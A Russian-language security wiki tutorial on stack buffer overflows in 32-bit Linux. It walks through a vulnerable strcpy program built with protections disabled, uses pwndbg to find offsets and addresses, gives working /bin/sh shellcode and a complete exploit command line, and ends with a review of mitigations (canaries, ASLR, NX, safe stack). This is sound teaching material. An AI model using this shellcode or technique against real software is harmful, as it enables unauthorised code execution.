Бинарные уязвимости/Stack overflow

Материал из SecSem Wiki
Версия от 14:09, 24 ноября 2021; Dzeni (обсуждение | вклад) (Эксплуатация)
(разн.) ← Предыдущая | Текущая версия (разн.) | Следующая → (разн.)
Перейти к навигации Перейти к поиску

Адресное пространство процесса

Пример содержимого адресного пространства процесса на x86

Адресное пространство процесса на x86/amd64 - это совокупность виртуальных адресов, доступная программе. Размер адресного пространства на x86 без дополнительных способов расширения - 4 Гб, он разделённый на kernel-space (2/1 Гб) и user-space (2/3 Гб). На x86-64 размер адресного пространства 2**48 - старшие 16 бит адреса все равны или 0, или 1. Такие адреса называются каноничными, все другие - неканоничными. В случае попытки обращения к неканоничному адресу возникает general protection exception (#GP). В случае x86-64 каноничность адресов можно использовать при проведении анализа содержимого памяти (так адрес из адресного пространства ядра будет иметь префикс 0xFFF, а из пользовательского - 0x000).

В *nix в user-space части адресного пространства содержится:
- запускаемый исполняемый файл
- динамические *.so библиотеки
- mmap() области (анонимные аллокации и отмапленные файлы)
- стек
- куча
- отмапленные из ядра области (vsyscall/vvar/vdso)
- различные служебные структуры

В pwndbg/gef/peda содержимое адресного пространства можно посмотреть с помощью команды vmmap:

Вывод команды vmmap в pwndbg

В gdb можно использовать команду info proc map, а без отладчика содержимое можно посмотреть через файловую систему /proc с помощью команды cat /proc/<self>/maps.


Stack buffer overflow

Переполнение буфера в стеке происходит, когда программа не проверяет должным образом размер буфера, выделенного на стеке, при записи в него. Например, так делают известные функции gets, strcpy. Рассмотрим пример функции с таким типом уязвимости:

void foo(char *arg) {
  char local[256];
  strcpy(local, arg);
}

В данной функции определяется локальный массив local, размещающийся на стеке и содержащий 256 элементов, и функция копирует аргумент arg с помощью функции strcpy. Данная функция копирует arg, переданный во втором аргументе, в local до тех пор пока не встретит в ней нулевой байт. При этом сам нулевой байт также будет скопирован. Чтобы понять, почему это может быть опасно, нужно рассмотреть содержимое стекового кадра функции foo. Предположим, что мы скомпилировали данный код в 32-битную программу и соглашение о вызовах функции - cdecl. Тогда стековый кадр будет выглядеть так:

Стековый кадр функции foo

На данной схеме стрелочкой показано направление роста стека в адресном пространстве (от старших к младшим адресам). Далее последовательно в стеке располагаются:
- аргумент функции foo
- адрес возврата - адрес, на который перейдет управление после окончания исполнения функции foo
- значение регистра ebp, являющееся указателем стекового кадра вызывающей foo функции
- опциональный паддинг (обычно используется, что локальные аргументы были выравнены по 16 байт)
- локальный массив local

Функция strcpy осуществляет копирование в сторону противоположную росту стека. Таким образом при достаточном размере копируемой строки она может перетереть данные, хранящиеся после local: ebp, адрес возврата, аргументы и стековый кадр другой функции. Самым интересным с точки зрения эксплуатации является изменения адреса возврата, т.к. это значение полностью определяет, какой участок кода будет выполняться после завершения данной функции.

Эксплуатация

Самый простой способ эксплуатации данной уязвимости заключается в том, чтобы поместить в стек шеллкод (набор опкодов, которые исполняют нужное нам, например, вызывают командный интерпретатор /bin/sh) и записать в качестве адреса возврата его адрес: Возможный способ эксплуатации уязвимости в функции foo

Тогда после завершения функции foo управление перейдет на шеллкод.

Реализация

Все адреса скорее всего будут другими из-за разных условий запуска. Если отключаете на своей системе какие-то защиты, не забудьте вернуть обратно.

Уязвимый код

#include <stdio.h>
#include <string.h>

void foo(char *arg){
  char local[256];
  strcpy(local, arg);
}

int main(int argc, char *argv[]){
  if(argc < 2) {
    return -1;
  }

  foo(argv[1]);

  return 0;
}

Команда для компиляции

gcc -fno-stack-protector -z execstack -m32 -O0 -g -no-pie -fno-pie -fcf-protection=none main.c -o stack_overflow_1

Флаги используются для отключения защиты, например fno-stack-protector отключает использование канарейки, -z execstack позволят стеку быть исполняемым, -m32 указывает на сборку под 32битную систему.

Рассмотрим дисассемблирование функции foo из-под pwngdb. Регистр esp указывает на начало стека, ebp указывает на начало стекового кадра функции.

pwndbg> disassemble foo 
Dump of assembler code for function foo:
   0x08049176 <+0>:	push   ebp                        // пролог,  сохраняет ebp функции main на стек
   0x08049177 <+1>:	mov    ebp,esp                    // пролог, переписывает esp, задавая новый стековый кадр для функции foo
   0x08049179 <+3>:	sub    esp,0x108                  // выделение памяти под local (0x100=256) + 8 на padding
   0x0804917f <+9>:	sub    esp,0x8
   0x08049182 <+12>:	push   DWORD PTR [ebp+0x8]
   0x08049185 <+15>:	lea    eax,[ebp-0x108]
   0x0804918b <+21>:	push   eax
   0x0804918c <+22>:	call   0x8049040 <strcpy@plt>
   0x08049191 <+27>:	add    esp,0x10
   0x08049194 <+30>:	nop
   0x08049195 <+31>:	leave                         // эпилог, раскрывает в команды mov esp, ebp; pop ebp
   0x08049196 <+32>:	ret                           // эпилог, осуществляет возврат к функции, адрес которой лежит на вершине стека
End of assembler dump.

Убедиться, что есть возможность перезаписи стека можно, например, с помощью команды, которая подаст на вход длинную строку (>266).

pwndbg> r `python2 -c 'print "A"*(450)'`

1. Необходимо вычислить смещение адреса возврата относительно local. Его можно вычислить, внимательно посмотрев на функцию ассемблерное представление foo. В строчке <+3> видно, что local занимает 256 байт, padding - 8 байт; кроме того известно, что регистр ebp занимает 4 байта. Проверим вычисления, записав вместо адреса возврата "BBBB"

pwndbg> r `python2 -c 'print "A"*(0x108+4) + "BBBB"'`

Появится ошибка вида Invalid address 0x42424242, (42 - код буквы B).

2. Далее ищем адрес local. Убедитесь, что отключена рандомизация адресов. (в /proc/sys/kernel/randomize_va_space записан 0) Поставим точку останова на инструкцию возврата из функции foo и запустим программу.

pwndbg> b *foo+32
Breakpoint 1 at 0x8049196: file main.c, line 7.
pwndbg> r `python2 -c 'print "A"*(0x108+4) + "BBBB"'`

Возьмем адрес, записанный в регистре esp, и отступим от него длину выделенного буфера и регистра ebp (0x108+4). Проверив содержимое памяти по получившемуся адресу, убедимся в правильности вычисления.

pwndbg> dd 0xffffcedc-(0x108+4)
ffffcdd0     41414141 41414141 41414141 41414141
ffffcde0     41414141 41414141 41414141 41414141
ffffcdf0     41414141 41414141 41414141 41414141
ffffce00     41414141 41414141 41414141 41414141
pwndbg> dd 0xffffcedc-(0x108+4+4)
ffffcdcc     00000001 41414141 41414141 41414141
ffffcddc     41414141 41414141 41414141 41414141
ffffcdec     41414141 41414141 41414141 41414141
ffffcdfc     41414141 41414141 41414141 41414141

Итого, адрес local - ffffcdd0. Теперь его можно вписать вместо "BBBB", так же заменим "A" yd "\x90" - код no operation.

Обратите внимание, адрес записывает с конца, так как используется little-endian соглашение.

pwndbg> r `python2 -c 'print "\x90"*(0x108+4) + "\xd0\xcd\xff\xff"'`
───────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────
 ► 0x8049196  <foo+32>    ret    <0xffffcdd0>
    ↓
   0xffffcdd0             nop    
   0xffffcdd1             nop    
   0xffffcdd2             n

3. Осталось поместить в стек шеллкод

\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
pwndbg> r `python2 -c 'print "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x90"*(0x108+4-55) + "\xd0\xcd\xff\xff"'`
process 6365 is executing new program: /bin/dash
$ ls 
main.c						       stack_overflow_1

4. Если запустить программу с таким же вводом не из-под gdb, то эксплойт не сработает (ведь адреса будут другими). Чтобы посмотреть правильные адреса, можно обратиться к core dupm. Необходимо настроить место сохранения файла и и их размер

echo "core.%e.%p.%h.%t" > /proc/sys/kernel/core_pattern
ulimit -c unlimited

Теперь после запуска программы

./stack_overflow_1  `python2 -c 'print "\x31\xc0\x31\xdb...b0\x0b\xcd\x80" + "\x90"*(0x108+4-55) + "\xd0\xcd\xff\xff"'`

появится core.stack_overflow_.*** и его можно открыть под gdb и рассмотреть подробнее состояние при падении программы.

/gdb ./stack_overflow_1 core.stack_overflow_.***

LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────
 EAX  0xffb89600 ◂— 0xdb31c031
 EBX  0x0
 ECX  0xffb8a300 ◂— 0x90909090

В данном случае в разделе регистров можно заменить ecx, который указывает на 0x90909090 (nop). значит рядом с ним можно найти шеллкод и его адрес. Из-за little-endian соглашения шеллкод будет записан в обратном порядке

pwndbg> dd 0xffb8a300
ffb8a300     90909090 ffcdd090 485300ff 3d4c4c45
ffb8a310     6e69622f 7361622f 45530068 4f495353
ffb8a320     414d5f4e 4547414e 6f6c3d52 2f6c6163
ffb8a330     616e6e61 7269562d 6c617574 3a786f42
pwndbg> dd 0xffb8a300-263
ffb8a1f9     db31c031 80cd06b0 742f6853 2f687974
ffb8a209     89766564 66c931e3 b02712b9 3180cd05
ffb8a219     2f6850c0 6868732f 6e69622f 5350e389
ffb8a229     b099e189 9080cd0b 90909090 90909090

Таким образом находит новый адрес ffb8a1f9 и меняем его в эксплойте.

Способы защиты

Существует большое количество различных средств защиты от эксплойтов (exploit mitigations) как на уровне компилятора, так и операционной системы. Рассмотрим некоторые их них.

Stack guard value

Guard value (cookie/canary) в общем смысле - это значение, которое помещается между буфером и данными, которые нужно защитить. Таким образом, любое переполнение буфера ведёт к перетиранию этого значения. И перед любым использованием защищаемых данных необходимо проверить это значение. В случае стека данное значение помещается между локальными данными и сохраненным регистром (r/e)bp: Место размещения stack cookie в стековом кадре функции foo

Заметим, что было неправильно помещать его между адресом возврата и (r/e)bp, т.к. его изменение тоже может привести к эксплуатации. Stack guard value также называется stack cookie, stack canary или stack smashing protector.

Данное значение обычно формируется один раз случайным образом (при этом почти всегда содержит нулевой байт) при запуске программы и сохраняется в структуру под названием thread control block (TCB). Указатель на данную структуру хранится в регистре fs в случае x86-64 и gs в x86. В pwndbg есть специальные команды gsbase/fsbase, которые можно использовать для просмотра значения в данных регистрах:

Пример использования команды gsbase для просмотра stack cookie
Пример использования команды fsbase для просмотра stack cookie









Также для получения содержимого данных регистров может использоваться метод, описанный здесь. Из данных рисунков видно, что TCB замаплен с правами на запись - это означает, что при наличии соответствующей уязвимости и знания адреса TCB можно переписать stack cookie.

Теперь рассмотрим, как же именно используется stack cookie: в прологе функции stack cookie сохраняется в стек сразу после (r/e)bp и проверяется перед выходом из функции. Ниже приведены ассемблерные листинги функции foo, скомпилированной соответственно без и с stack guard value:

Дизассемблированный листинг фукнции foo без stack cookie
Дизассемблированный листинг фукнции foo со stack cookie















Как видно из листинга справа в прологе функции на стек сохраняется значение из регистра gs по смещению 0x14 - как раз по данному смещению в случае x86 располагается поле stack_guard, содержащие cookie. В эпилоге функции перед выполнением инструкции ret cookie, сохраненные на стеке, сравниваются со значением, сохраненным в TCB. В случае, если они не совпадают, выполняется функция __stack_check_fail, выводящая сообщение об ошибке и завершающая программу.

ASLR

Чтобы затруднить атаки класса переиспользования кода (code reuse), такие как возврат в libc, адреса стека, кучи, и загрузки библиотек рандомизируются при каждом запуске программы. Это называется address space layout randomization.

Например, если в программе есть уязвимость, позволяющая переписать указатель на функцию, вы не можете записать туда адрес функции system просто потому, что вы не знаете адрес этой функции. Похожая ситуация будет, если есть указатель на какую-то структуру (например, содержащую в себе флаг is_admin): возможно вы и можете создать фейковую структуру с правильными полями на стеке, но вы не знаете, по какому адресу она окажется, чтобы записать этот адрес в тот указатель.

Как и многие другие защиты, ASLR не является абсолютной. Если в программе есть баг, позволяющий читать память за границей массива на стеке, с большой вероятностью вы там найдете адрес, ведущий в libc. Например, функция main возвращается куда-то в недра __libc_start_main, и если получится узнать адрес возврата, то посчитав смещение этого места относительно начала libc (для этой конкретной версии libc!), вы сможете узнать адрес загрузки библиотеки - и, соответственно, адреса всех функций, смещения которых фиксированы относительно базового адреса загрузки.

NX

Средства ОС и процессора позволяют гибко настраивать права доступа на страницы виртуальной памяти. Эти права доступа позволяют запрещать выполнять данные как инструкции процессора. Напрмер, даже если записать шеллкод на стек, в память, выделенную через malloc или в статический глобальный буфер, при попытке выполнить этот код произойдет SIGSEGV.

На уровне пользовательской программы это реализовано флагом prot в системных вызовах mmap и mprotect. Сам пользовательский код редко использует эти системные вызовы напрямую: ядро системы, динамический загрузчик (ld.so) и libc сами выделяют память с правильными правами доступа.

Фактически это означает, что чтобы в таких условиях добиться выполнения произвольного кода (или хотя бы выходящего за спецификацию исходной программы), придется провести атаку переиспользования кода (code reuse) в том или ином виде. Например, переписать указатель на какую-то безобидную функцую на system.

Safe stack

Safe stack – механизм сохранения указателей (адреса возврата, указатели на функции и т.п.) в отдельной изолированной области памяти, доступ к которой производится только с использованием специальных проверок корректности обращения к памяти.

Таким образом, стек приложения разделяется на две части - защищённый стек для хранения указателей, адресов из регистров и локальных переменных, и незащищённый стек, в котором сохраняется всё остальное. В защищённый стек данные добавляются только после статической проверки и доступ к ним ограничен.

Данный способ защиты используется в компиляторы clang и должен быть активирован при компиляции с помощью специального ключа.


Ссылки